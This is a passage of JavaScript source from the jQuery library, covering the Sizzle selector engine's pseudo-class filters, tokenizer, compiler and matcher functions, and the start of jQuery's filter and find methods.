uniqueCache = outerCache[ node.uniqueID ] ||\n                                                (outerCache[ node.uniqueID ] = {});\n\n                                            cache = uniqueCache[ type ] || [];\n                                            nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n                                            diff = nodeIndex;\n                                        }\n\n                                        // xml :nth-child(...)\n                                        // or :nth-last-child(...) or :nth(-last)?-of-type(...)\n                                        if ( diff === false ) {\n                                            // Use the same loop as above to seek `elem` from the start\n                                            while ( (node = ++nodeIndex && node && node[ dir ] ||\n                                                (diff = nodeIndex = 0) || start.pop()) ) {\n\n                                                if ( ( ofType ?\n                                                        node.nodeName.toLowerCase() === name :\n                                                        node.nodeType === 1 ) &&\n                                                    ++diff ) {\n\n                                                    // Cache the index of each encountered element\n                                                    if ( useCache ) {\n                                                        outerCache = node[ expando ] || (node[ expando ] = {});\n\n                                                        // Support: IE <9 only\n                                                        // Defend against cloned attroperties (jQuery gh-1709)\n                                                        uniqueCache = outerCache[ node.uniqueID ] ||\n                                                            (outerCache[ node.uniqueID ] = {});\n\n                                                        uniqueCache[ type ] = [ dirruns, diff ];\n                                                    }\n\n                                                    if ( node === elem ) {\n                                                        break;\n                                                    }\n                                                }\n                                            }\n                                        }\n                                    }\n\n                                    // Incorporate the offset, then check against cycle size\n                                    diff -= last;\n                                    return diff === first || ( diff % first === 0 && diff / first >= 0 );\n                                }\n                            };\n                    },\n\n                    \"PSEUDO\": function( pseudo, argument ) {\n                        // pseudo-class names are case-insensitive\n                        // http://www.w3.org/TR/selectors/#pseudo-classes\n                        // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters\n                        // Remember that setFilters inherits from pseudos\n                        var args,\n                            fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||\n                                Sizzle.error( \"unsupported pseudo: \" + pseudo );\n\n                        // The user may use createPseudo to indicate that\n                        // arguments are needed to create the filter function\n                        // just as Sizzle does\n                        if ( fn[ expando ] ) {\n                            return fn( argument );\n                        }\n\n                        // But maintain support for old signatures\n                        if ( fn.length > 1 ) {\n                            args = [ pseudo, pseudo, \"\", argument ];\n                            return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?\n                                markFunction(function( seed, matches ) {\n                                    var idx,\n                                        matched = fn( seed, argument ),\n                                        i = matched.length;\n                                    while ( i-- ) {\n                                        idx = indexOf( seed, matched[i] );\n                                        seed[ idx ] = !( matches[ idx ] = matched[i] );\n                                    }\n                                }) :\n                                function( elem ) {\n                                    return fn( elem, 0, args );\n                                };\n                        }\n\n                        return fn;\n                    }\n                },\n\n                pseudos: {\n                    // Potentially complex pseudos\n                    \"not\": markFunction(function( selector ) {\n                        // Trim the selector passed to compile\n                        // to avoid treating leading and trailing\n                        // spaces as combinators\n                        var input = [],\n                            results = [],\n                            matcher = compile( selector.replace( rtrim, \"$1\" ) );\n\n                        return matcher[ expando ] ?\n                            markFunction(function( seed, matches, context, xml ) {\n                                var elem,\n                                    unmatched = matcher( seed, null, xml, [] ),\n                                    i = seed.length;\n\n                                // Match elements unmatched by `matcher`\n                                while ( i-- ) {\n                                    if ( (elem = unmatched[i]) ) {\n                                        seed[i] = !(matches[i] = elem);\n                                    }\n                                }\n                            }) :\n                            function( elem, context, xml ) {\n                                input[0] = elem;\n                                matcher( input, null, xml, results );\n                                // Don't keep the element (issue #299)\n                                input[0] = null;\n                                return !results.pop();\n                            };\n                    }),\n\n                    \"has\": markFunction(function( selector ) {\n                        return function( elem ) {\n                            return Sizzle( selector, elem ).length > 0;\n                        };\n                    }),\n\n                    \"contains\": markFunction(function( text ) {\n                        text = text.replace( runescape, funescape );\n                        return function( elem ) {\n                            return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;\n                        };\n                    }),\n\n                    // \"Whether an element is represented by a :lang() selector\n                    // is based solely on the element's language value\n                    // being equal to the identifier C,\n                    // or beginning with the identifier C immediately followed by \"-\".\n                    // The matching of C against the element's language value is performed case-insensitively.\n                    // The identifier C does not have to be a valid language name.\"\n                    // http://www.w3.org/TR/selectors/#lang-pseudo\n                    \"lang\": markFunction( function( lang ) {\n                        // lang value must be a valid identifier\n                        if ( !ridentifier.test(lang || \"\") ) {\n                            Sizzle.error( \"unsupported lang: \" + lang );\n                        }\n                        lang = lang.replace( runescape, funescape ).toLowerCase();\n                        return function( elem ) {\n                            var elemLang;\n                            do {\n                                if ( (elemLang = documentIsHTML ?\n                                        elem.lang :\n                                        elem.getAttribute(\"xml:lang\") || elem.getAttribute(\"lang\")) ) {\n\n                                    elemLang = elemLang.toLowerCase();\n                                    return elemLang === lang || elemLang.indexOf( lang + \"-\" ) === 0;\n                                }\n                            } while ( (elem = elem.parentNode) && elem.nodeType === 1 );\n                            return false;\n                        };\n                    }),\n\n                    // Miscellaneous\n                    \"target\": function( elem ) {\n                        var hash = window.location && window.location.hash;\n                        return hash && hash.slice( 1 ) === elem.id;\n                    },\n\n                    \"root\": function( elem ) {\n                        return elem === docElem;\n                    },\n\n                    \"focus\": function( elem ) {\n                        return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);\n                    },\n\n                    // Boolean properties\n                    \"enabled\": createDisabledPseudo( false ),\n                    \"disabled\": createDisabledPseudo( true ),\n\n                    \"checked\": function( elem ) {\n                        // In CSS3, :checked should return both checked and selected elements\n                        // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n                        var nodeName = elem.nodeName.toLowerCase();\n                        return (nodeName === \"input\" && !!elem.checked) || (nodeName === \"option\" && !!elem.selected);\n                    },\n\n                    \"selected\": function( elem ) {\n                        // Accessing this property makes selected-by-default\n                        // options in Safari work properly\n                        if ( elem.parentNode ) {\n                            elem.parentNode.selectedIndex;\n                        }\n\n                        return elem.selected === true;\n                    },\n\n                    // Contents\n                    \"empty\": function( elem ) {\n                        // http://www.w3.org/TR/selectors/#empty-pseudo\n                        // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),\n                        //   but not by others (comment: 8; processing instruction: 7; etc.)\n                        // nodeType < 6 works because attributes (2) do not appear as children\n                        for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n                            if ( elem.nodeType < 6 ) {\n                                return false;\n                            }\n                        }\n                        return true;\n                    },\n\n                    \"parent\": function( elem ) {\n                        return !Expr.pseudos[\"empty\"]( elem );\n                    },\n\n                    // Element/input types\n                    \"header\": function( elem ) {\n                        return rheader.test( elem.nodeName );\n                    },\n\n                    \"input\": function( elem ) {\n                        return rinputs.test( elem.nodeName );\n                    },\n\n                    \"button\": function( elem ) {\n                        var name = elem.nodeName.toLowerCase();\n                        return name === \"input\" && elem.type === \"button\" || name === \"button\";\n                    },\n\n                    \"text\": function( elem ) {\n                        var attr;\n                        return elem.nodeName.toLowerCase() === \"input\" &&\n                            elem.type === \"text\" &&\n\n                            // Support: IE<8\n                            // New HTML5 attribute values (e.g., \"search\") appear with elem.type === \"text\"\n                            ( (attr = elem.getAttribute(\"type\")) == null || attr.toLowerCase() === \"text\" );\n                    },\n\n                    // Position-in-collection\n                    \"first\": createPositionalPseudo(function() {\n                        return [ 0 ];\n                    }),\n\n                    \"last\": createPositionalPseudo(function( matchIndexes, length ) {\n                        return [ length - 1 ];\n                    }),\n\n                    \"eq\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n                        return [ argument < 0 ? argument + length : argument ];\n                    }),\n\n                    \"even\": createPositionalPseudo(function( matchIndexes, length ) {\n                        var i = 0;\n                        for ( ; i < length; i += 2 ) {\n                            matchIndexes.push( i );\n                        }\n                        return matchIndexes;\n                    }),\n\n                    \"odd\": createPositionalPseudo(function( matchIndexes, length ) {\n                        var i = 1;\n                        for ( ; i < length; i += 2 ) {\n                            matchIndexes.push( i );\n                        }\n                        return matchIndexes;\n                    }),\n\n                    \"lt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n                        var i = argument < 0 ? argument + length : argument;\n                        for ( ; --i >= 0; ) {\n                            matchIndexes.push( i );\n                        }\n                        return matchIndexes;\n                    }),\n\n                    \"gt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n                        var i = argument < 0 ? argument + length : argument;\n                        for ( ; ++i < length; ) {\n                            matchIndexes.push( i );\n                        }\n                        return matchIndexes;\n                    })\n                }\n            };\n\n            Expr.pseudos[\"nth\"] = Expr.pseudos[\"eq\"];\n\n// Add button/input type pseudos\n            for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {\n                Expr.pseudos[ i ] = createInputPseudo( i );\n            }\n            for ( i in { submit: true, reset: true } ) {\n                Expr.pseudos[ i ] = createButtonPseudo( i );\n            }\n\n// Easy API for creating new setFilters\n            function setFilters() {}\n            setFilters.prototype = Expr.filters = Expr.pseudos;\n            Expr.setFilters = new setFilters();\n\n            tokenize = Sizzle.tokenize = function( selector, parseOnly ) {\n                var matched, match, tokens, type,\n                    soFar, groups, preFilters,\n                    cached = tokenCache[ selector + \" \" ];\n\n                if ( cached ) {\n                    return parseOnly ? 0 : cached.slice( 0 );\n                }\n\n                soFar = selector;\n                groups = [];\n                preFilters = Expr.preFilter;\n\n                while ( soFar ) {\n\n                    // Comma and first run\n                    if ( !matched || (match = rcomma.exec( soFar )) ) {\n                        if ( match ) {\n                            // Don't consume trailing commas as valid\n                            soFar = soFar.slice( match[0].length ) || soFar;\n                        }\n                        groups.push( (tokens = []) );\n                    }\n\n                    matched = false;\n\n                    // Combinators\n                    if ( (match = rcombinators.exec( soFar )) ) {\n                        matched = match.shift();\n                        tokens.push({\n                            value: matched,\n                            // Cast descendant combinators to space\n                            type: match[0].replace( rtrim, \" \" )\n                        });\n                        soFar = soFar.slice( matched.length );\n                    }\n\n                    // Filters\n                    for ( type in Expr.filter ) {\n                        if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||\n                                (match = preFilters[ type ]( match ))) ) {\n                            matched = match.shift();\n                            tokens.push({\n                                value: matched,\n                                type: type,\n                                matches: match\n                            });\n                            soFar = soFar.slice( matched.length );\n                        }\n                    }\n\n                    if ( !matched ) {\n                        break;\n                    }\n                }\n\n                // Return the length of the invalid excess\n                // if we're just parsing\n                // Otherwise, throw an error or return tokens\n                return parseOnly ?\n                    soFar.length :\n                    soFar ?\n                        Sizzle.error( selector ) :\n                        // Cache the tokens\n                        tokenCache( selector, groups ).slice( 0 );\n            };\n\n            function toSelector( tokens ) {\n                var i = 0,\n                    len = tokens.length,\n                    selector = \"\";\n                for ( ; i < len; i++ ) {\n                    selector += tokens[i].value;\n                }\n                return selector;\n            }\n\n            function addCombinator( matcher, combinator, base ) {\n                var dir = combinator.dir,\n                    skip = combinator.next,\n                    key = skip || dir,\n                    checkNonElements = base && key === \"parentNode\",\n                    doneName = done++;\n\n                return combinator.first ?\n                    // Check against closest ancestor/preceding element\n                    function( elem, context, xml ) {\n                        while ( (elem = elem[ dir ]) ) {\n                            if ( elem.nodeType === 1 || checkNonElements ) {\n                                return matcher( elem, context, xml );\n                            }\n                        }\n                        return false;\n                    } :\n\n                    // Check against all ancestor/preceding elements\n                    function( elem, context, xml ) {\n                        var oldCache, uniqueCache, outerCache,\n                            newCache = [ dirruns, doneName ];\n\n                        // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching\n                        if ( xml ) {\n                            while ( (elem = elem[ dir ]) ) {\n                                if ( elem.nodeType === 1 || checkNonElements ) {\n                                    if ( matcher( elem, context, xml ) ) {\n                                        return true;\n                                    }\n                                }\n                            }\n                        } else {\n                            while ( (elem = elem[ dir ]) ) {\n                                if ( elem.nodeType === 1 || checkNonElements ) {\n                                    outerCache = elem[ expando ] || (elem[ expando ] = {});\n\n                                    // Support: IE <9 only\n                                    // Defend against cloned attroperties (jQuery gh-1709)\n                                    uniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {});\n\n                                    if ( skip && skip === elem.nodeName.toLowerCase() ) {\n                                        elem = elem[ dir ] || elem;\n                                    } else if ( (oldCache = uniqueCache[ key ]) &&\n                                        oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {\n\n                                        // Assign to newCache so results back-propagate to previous elements\n                                        return (newCache[ 2 ] = oldCache[ 2 ]);\n                                    } else {\n                                        // Reuse newcache so results back-propagate to previous elements\n                                        uniqueCache[ key ] = newCache;\n\n                                        // A match means we're done; a fail means we have to keep checking\n                                        if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {\n                                            return true;\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                        return false;\n                    };\n            }\n\n            function elementMatcher( matchers ) {\n                return matchers.length > 1 ?\n                    function( elem, context, xml ) {\n                        var i = matchers.length;\n                        while ( i-- ) {\n                            if ( !matchers[i]( elem, context, xml ) ) {\n                                return false;\n                            }\n                        }\n                        return true;\n                    } :\n                    matchers[0];\n            }\n\n            function multipleContexts( selector, contexts, results ) {\n                var i = 0,\n                    len = contexts.length;\n                for ( ; i < len; i++ ) {\n                    Sizzle( selector, contexts[i], results );\n                }\n                return results;\n            }\n\n            function condense( unmatched, map, filter, context, xml ) {\n                var elem,\n                    newUnmatched = [],\n                    i = 0,\n                    len = unmatched.length,\n                    mapped = map != null;\n\n                for ( ; i < len; i++ ) {\n                    if ( (elem = unmatched[i]) ) {\n                        if ( !filter || filter( elem, context, xml ) ) {\n                            newUnmatched.push( elem );\n                            if ( mapped ) {\n                                map.push( i );\n                            }\n                        }\n                    }\n                }\n\n                return newUnmatched;\n            }\n\n            function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {\n                if ( postFilter && !postFilter[ expando ] ) {\n                    postFilter = setMatcher( postFilter );\n                }\n                if ( postFinder && !postFinder[ expando ] ) {\n                    postFinder = setMatcher( postFinder, postSelector );\n                }\n                return markFunction(function( seed, results, context, xml ) {\n                    var temp, i, elem,\n                        preMap = [],\n                        postMap = [],\n                        preexisting = results.length,\n\n                        // Get initial elements from seed or context\n                        elems = seed || multipleContexts( selector || \"*\", context.nodeType ? [ context ] : context, [] ),\n\n                        // Prefilter to get matcher input, preserving a map for seed-results synchronization\n                        matcherIn = preFilter && ( seed || !selector ) ?\n                            condense( elems, preMap, preFilter, context, xml ) :\n                            elems,\n\n                        matcherOut = matcher ?\n                            // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,\n                            postFinder || ( seed ? preFilter : preexisting || postFilter ) ?\n\n                                // ...intermediate processing is necessary\n                                [] :\n\n                                // ...otherwise use results directly\n                                results :\n                            matcherIn;\n\n                    // Find primary matches\n                    if ( matcher ) {\n                        matcher( matcherIn, matcherOut, context, xml );\n                    }\n\n                    // Apply postFilter\n                    if ( postFilter ) {\n                        temp = condense( matcherOut, postMap );\n                        postFilter( temp, [], context, xml );\n\n                        // Un-match failing elements by moving them back to matcherIn\n                        i = temp.length;\n                        while ( i-- ) {\n                            if ( (elem = temp[i]) ) {\n                                matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);\n                            }\n                        }\n                    }\n\n                    if ( seed ) {\n                        if ( postFinder || preFilter ) {\n                            if ( postFinder ) {\n                                // Get the final matcherOut by condensing this intermediate into postFinder contexts\n                                temp = [];\n                                i = matcherOut.length;\n                                while ( i-- ) {\n                                    if ( (elem = matcherOut[i]) ) {\n                                        // Restore matcherIn since elem is not yet a final match\n                                        temp.push( (matcherIn[i] = elem) );\n                                    }\n                                }\n                                postFinder( null, (matcherOut = []), temp, xml );\n                            }\n\n                            // Move matched elements from seed to results to keep them synchronized\n                            i = matcherOut.length;\n                            while ( i-- ) {\n                                if ( (elem = matcherOut[i]) &&\n                                    (temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {\n\n                                    seed[temp] = !(results[temp] = elem);\n                                }\n                            }\n                        }\n\n                        // Add elements to results, through postFinder if defined\n                    } else {\n                        matcherOut = condense(\n                            matcherOut === results ?\n                                matcherOut.splice( preexisting, matcherOut.length ) :\n                                matcherOut\n                        );\n                        if ( postFinder ) {\n                            postFinder( null, results, matcherOut, xml );\n                        } else {\n                            push.apply( results, matcherOut );\n                        }\n                    }\n                });\n            }\n\n            function matcherFromTokens( tokens ) {\n                var checkContext, matcher, j,\n                    len = tokens.length,\n                    leadingRelative = Expr.relative[ tokens[0].type ],\n                    implicitRelative = leadingRelative || Expr.relative[\" \"],\n                    i = leadingRelative ? 1 : 0,\n\n                    // The foundational matcher ensures that elements are reachable from top-level context(s)\n                    matchContext = addCombinator( function( elem ) {\n                        return elem === checkContext;\n                    }, implicitRelative, true ),\n                    matchAnyContext = addCombinator( function( elem ) {\n                        return indexOf( checkContext, elem ) > -1;\n                    }, implicitRelative, true ),\n                    matchers = [ function( elem, context, xml ) {\n                        var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (\n                            (checkContext = context).nodeType ?\n                                matchContext( elem, context, xml ) :\n                                matchAnyContext( elem, context, xml ) );\n                        // Avoid hanging onto element (issue #299)\n                        checkContext = null;\n                        return ret;\n                    } ];\n\n                for ( ; i < len; i++ ) {\n                    if ( (matcher = Expr.relative[ tokens[i].type ]) ) {\n                        matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];\n                    } else {\n                        matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );\n\n                        // Return special upon seeing a positional matcher\n                        if ( matcher[ expando ] ) {\n                            // Find the next relative operator (if any) for proper handling\n                            j = ++i;\n                            for ( ; j < len; j++ ) {\n                                if ( Expr.relative[ tokens[j].type ] ) {\n                                    break;\n                                }\n                            }\n                            return setMatcher(\n                                i > 1 && elementMatcher( matchers ),\n                                i > 1 && toSelector(\n                                // If the preceding token was a descendant combinator, insert an implicit any-element `*`\n                                tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" })\n                                ).replace( rtrim, \"$1\" ),\n                                matcher,\n                                i < j && matcherFromTokens( tokens.slice( i, j ) ),\n                                j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),\n                                j < len && toSelector( tokens )\n                            );\n                        }\n                        matchers.push( matcher );\n                    }\n                }\n\n                return elementMatcher( matchers );\n            }\n\n            function matcherFromGroupMatchers( elementMatchers, setMatchers ) {\n                var bySet = setMatchers.length > 0,\n                    byElement = elementMatchers.length > 0,\n                    superMatcher = function( seed, context, xml, results, outermost ) {\n                        var elem, j, matcher,\n                            matchedCount = 0,\n                            i = \"0\",\n                            unmatched = seed && [],\n                            setMatched = [],\n                            contextBackup = outermostContext,\n                            // We must always have either seed elements or outermost context\n                            elems = seed || byElement && Expr.find[\"TAG\"]( \"*\", outermost ),\n                            // Use integer dirruns iff this is the outermost matcher\n                            dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),\n                            len = elems.length;\n\n                        if ( outermost ) {\n                            outermostContext = context === document || context || outermost;\n                        }\n\n                        // Add elements passing elementMatchers directly to results\n                        // Support: IE<9, Safari\n                        // Tolerate NodeList properties (IE: \"length\"; Safari: <number>) matching elements by id\n                        for ( ; i !== len && (elem = elems[i]) != null; i++ ) {\n                            if ( byElement && elem ) {\n                                j = 0;\n                                if ( !context && elem.ownerDocument !== document ) {\n                                    setDocument( elem );\n                                    xml = !documentIsHTML;\n                                }\n                                while ( (matcher = elementMatchers[j++]) ) {\n                                    if ( matcher( elem, context || document, xml) ) {\n                                        results.push( elem );\n                                        break;\n                                    }\n                                }\n                                if ( outermost ) {\n                                    dirruns = dirrunsUnique;\n                                }\n                            }\n\n                            // Track unmatched elements for set filters\n                            if ( bySet ) {\n                                // They will have gone through all possible matchers\n                                if ( (elem = !matcher && elem) ) {\n                                    matchedCount--;\n                                }\n\n                                // Lengthen the array for every element, matched or not\n                                if ( seed ) {\n                                    unmatched.push( elem );\n                                }\n                            }\n                        }\n\n                        // `i` is now the count of elements visited above, and adding it to `matchedCount`\n                        // makes the latter nonnegative.\n                        matchedCount += i;\n\n                        // Apply set filters to unmatched elements\n                        // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`\n                        // equals `i`), unless we didn't visit _any_ elements in the above loop because we have\n                        // no element matchers and no seed.\n                        // Incrementing an initially-string \"0\" `i` allows `i` to remain a string only in that\n                        // case, which will result in a \"00\" `matchedCount` that differs from `i` but is also\n                        // numerically zero.\n                        if ( bySet && i !== matchedCount ) {\n                            j = 0;\n                            while ( (matcher = setMatchers[j++]) ) {\n                                matcher( unmatched, setMatched, context, xml );\n                            }\n\n                            if ( seed ) {\n                                // Reintegrate element matches to eliminate the need for sorting\n                                if ( matchedCount > 0 ) {\n                                    while ( i-- ) {\n                                        if ( !(unmatched[i] || setMatched[i]) ) {\n                                            setMatched[i] = pop.call( results );\n                                        }\n                                    }\n                                }\n\n                                // Discard index placeholder values to get only actual matches\n                                setMatched = condense( setMatched );\n                            }\n\n                            // Add matches to results\n                            push.apply( results, setMatched );\n\n                            // Seedless set matches succeeding multiple successful matchers stipulate sorting\n                            if ( outermost && !seed && setMatched.length > 0 &&\n                                ( matchedCount + setMatchers.length ) > 1 ) {\n\n                                Sizzle.uniqueSort( results );\n                            }\n                        }\n\n                        // Override manipulation of globals by nested matchers\n                        if ( outermost ) {\n                            dirruns = dirrunsUnique;\n                            outermostContext = contextBackup;\n                        }\n\n                        return unmatched;\n                    };\n\n                return bySet ?\n                    markFunction( superMatcher ) :\n                    superMatcher;\n            }\n\n            compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {\n                var i,\n                    setMatchers = [],\n                    elementMatchers = [],\n                    cached = compilerCache[ selector + \" \" ];\n\n                if ( !cached ) {\n                    // Generate a function of recursive functions that can be used to check each element\n                    if ( !match ) {\n                        match = tokenize( selector );\n                    }\n                    i = match.length;\n                    while ( i-- ) {\n                        cached = matcherFromTokens( match[i] );\n                        if ( cached[ expando ] ) {\n                            setMatchers.push( cached );\n                        } else {\n                            elementMatchers.push( cached );\n                        }\n                    }\n\n                    // Cache the compiled function\n                    cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );\n\n                    // Save selector and tokenization\n                    cached.selector = selector;\n                }\n                return cached;\n            };\n\n            /**\n             * A low-level selection function that works with Sizzle's compiled\n             *  selector functions\n             * @param {String|Function} selector A selector or a pre-compiled\n             *  selector function built with Sizzle.compile\n             * @param {Element} context\n             * @param {Array} [results]\n             * @param {Array} [seed] A set of elements to match against\n             */\n            select = Sizzle.select = function( selector, context, results, seed ) {\n                var i, tokens, token, type, find,\n                    compiled = typeof selector === \"function\" && selector,\n                    match = !seed && tokenize( (selector = compiled.selector || selector) );\n\n                results = results || [];\n\n                // Try to minimize operations if there is only one selector in the list and no seed\n                // (the latter of which guarantees us context)\n                if ( match.length === 1 ) {\n\n                    // Reduce context if the leading compound selector is an ID\n                    tokens = match[0] = match[0].slice( 0 );\n                    if ( tokens.length > 2 && (token = tokens[0]).type === \"ID\" &&\n                        context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) {\n\n                        context = ( Expr.find[\"ID\"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];\n                        if ( !context ) {\n                            return results;\n\n                            // Precompiled matchers will still verify ancestry, so step up a level\n                        } else if ( compiled ) {\n                            context = context.parentNode;\n                        }\n\n                        selector = selector.slice( tokens.shift().value.length );\n                    }\n\n                    // Fetch a seed set for right-to-left matching\n                    i = matchExpr[\"needsContext\"].test( selector ) ? 0 : tokens.length;\n                    while ( i-- ) {\n                        token = tokens[i];\n\n                        // Abort if we hit a combinator\n                        if ( Expr.relative[ (type = token.type) ] ) {\n                            break;\n                        }\n                        if ( (find = Expr.find[ type ]) ) {\n                            // Search, expanding context for leading sibling combinators\n                            if ( (seed = find(\n                                    token.matches[0].replace( runescape, funescape ),\n                                    rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context\n                                )) ) {\n\n                                // If seed is empty or no tokens remain, we can return early\n                                tokens.splice( i, 1 );\n                                selector = seed.length && toSelector( tokens );\n                                if ( !selector ) {\n                                    push.apply( results, seed );\n                                    return results;\n                                }\n\n                                break;\n                            }\n                        }\n                    }\n                }\n\n                // Compile and execute a filtering function if one is not provided\n                // Provide `match` to avoid retokenization if we modified the selector above\n                ( compiled || compile( selector, match ) )(\n                    seed,\n                    context,\n                    !documentIsHTML,\n                    results,\n                    !context || rsibling.test( selector ) && testContext( context.parentNode ) || context\n                );\n                return results;\n            };\n\n// One-time assignments\n\n// Sort stability\n            support.sortStable = expando.split(\"\").sort( sortOrder ).join(\"\") === expando;\n\n// Support: Chrome 14-35+\n// Always assume duplicates if they aren't passed to the comparison function\n            support.detectDuplicates = !!hasDuplicate;\n\n// Initialize against the default document\n            setDocument();\n\n// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)\n// Detached nodes confoundingly follow *each other*\n            support.sortDetached = assert(function( el ) {\n                // Should return 1, but returns 4 (following)\n                return el.compareDocumentPosition( document.createElement(\"fieldset\") ) & 1;\n            });\n\n// Support: IE<8\n// Prevent attribute/property \"interpolation\"\n// https://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx\n            if ( !assert(function( el ) {\n                    el.innerHTML = \"<a href='#'></a>\";\n                    return el.firstChild.getAttribute(\"href\") === \"#\" ;\n                }) ) {\n                addHandle( \"type|href|height|width\", function( elem, name, isXML ) {\n                    if ( !isXML ) {\n                        return elem.getAttribute( name, name.toLowerCase() === \"type\" ? 1 : 2 );\n                    }\n                });\n            }\n\n// Support: IE<9\n// Use defaultValue in place of getAttribute(\"value\")\n            if ( !support.attributes || !assert(function( el ) {\n                    el.innerHTML = \"<input/>\";\n                    el.firstChild.setAttribute( \"value\", \"\" );\n                    return el.firstChild.getAttribute( \"value\" ) === \"\";\n                }) ) {\n                addHandle( \"value\", function( elem, name, isXML ) {\n                    if ( !isXML && elem.nodeName.toLowerCase() === \"input\" ) {\n                        return elem.defaultValue;\n                    }\n                });\n            }\n\n// Support: IE<9\n// Use getAttributeNode to fetch booleans when getAttribute lies\n            if ( !assert(function( el ) {\n                    return el.getAttribute(\"disabled\") == null;\n                }) ) {\n                addHandle( booleans, function( elem, name, isXML ) {\n                    var val;\n                    if ( !isXML ) {\n                        return elem[ name ] === true ? name.toLowerCase() :\n                            (val = elem.getAttributeNode( name )) && val.specified ?\n                                val.value :\n                                null;\n                    }\n                });\n            }\n\n            return Sizzle;\n\n        })( window );\n\n\n\n    jQuery.find = Sizzle;\n    jQuery.expr = Sizzle.selectors;\n\n// Deprecated\n    jQuery.expr[ \":\" ] = jQuery.expr.pseudos;\n    jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;\n    jQuery.text = Sizzle.getText;\n    jQuery.isXMLDoc = Sizzle.isXML;\n    jQuery.contains = Sizzle.contains;\n    jQuery.escapeSelector = Sizzle.escape;\n\n\n\n\n    var dir = function( elem, dir, until ) {\n        var matched = [],\n            truncate = until !== undefined;\n\n        while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {\n            if ( elem.nodeType === 1 ) {\n                if ( truncate && jQuery( elem ).is( until ) ) {\n                    break;\n                }\n                matched.push( elem );\n            }\n        }\n        return matched;\n    };\n\n\n    var siblings = function( n, elem ) {\n        var matched = [];\n\n        for ( ; n; n = n.nextSibling ) {\n            if ( n.nodeType === 1 && n !== elem ) {\n                matched.push( n );\n            }\n        }\n\n        return matched;\n    };\n\n\n    var rneedsContext = jQuery.expr.match.needsContext;\n\n    var rsingleTag = ( /^<([a-z][^\\/\\0>:\\x20\\t\\r\\n\\f]*)[\\x20\\t\\r\\n\\f]*\\/?>(?:<\\/\\1>|)$/i );\n\n\n\n    var risSimple = /^.[^:#\\[\\.,]*$/;\n\n// Implement the identical functionality for filter and not\n    function winnow( elements, qualifier, not ) {\n        if ( jQuery.isFunction( qualifier ) ) {\n            return jQuery.grep( elements, function( elem, i ) {\n                return !!qualifier.call( elem, i, elem ) !== not;\n            } );\n        }\n\n        // Single element\n        if ( qualifier.nodeType ) {\n            return jQuery.grep( elements, function( elem ) {\n                return ( elem === qualifier ) !== not;\n            } );\n        }\n\n        // Arraylike of elements (jQuery, arguments, Array)\n        if ( typeof qualifier !== \"string\" ) {\n            return jQuery.grep( elements, function( elem ) {\n                return ( indexOf.call( qualifier, elem ) > -1 ) !== not;\n            } );\n        }\n\n        // Simple selector that can be filtered directly, removing non-Elements\n        if ( risSimple.test( qualifier ) ) {\n            return jQuery.filter( qualifier, elements, not );\n        }\n\n        // Complex selector, compare the two sets, removing non-Elements\n        qualifier = jQuery.filter( qualifier, elements );\n        return jQuery.grep( elements, function( elem ) {\n            return ( indexOf.call( qualifier, elem ) > -1 ) !== not && elem.nodeType === 1;\n        } );\n    }\n\n    jQuery.filter = function( expr, elems, not ) {\n        var elem = elems[ 0 ];\n\n        if ( not ) {\n            expr = \":not(\" + expr + \")\";\n        }\n\n        if ( elems.length === 1 && elem.nodeType === 1 ) {\n            return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [];\n        }\n\n        return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {\n            return elem.nodeType === 1;\n        } ) );\n    };\n\n    jQuery.fn.extend( {\n        find: function( selector ) {\n            var i, ret,\n                len = this.length,\n                self = this;\n\n            if ( typeof selector !== \"string\" ) {\n                return this.pushStack( jQuery( selector ).filter( function() {\n                    for ( i = 0; i < len; i++ ) {\n                        if ( jQuery.contains( self[ i ], this ) ) {\n                            return true;\n                        }\n                    }\n                } ) );\n            }\n\n            ret = this.pushStack( [] );\n\n            for ( i = 0; i < len; i++ ) {\n                jQuery.find( selector, self[ i ], ret );\n            }\n\n            return len > 1 ? jQuery.uniqueSort( ret ) : ret;\n        },\n        filter: function( selector ) {\n            return this.pushStack( winnow( this, selector || [], false ) );\n        },\n        not: function( selector ) {\n            return this.pushStack( winnow( this, 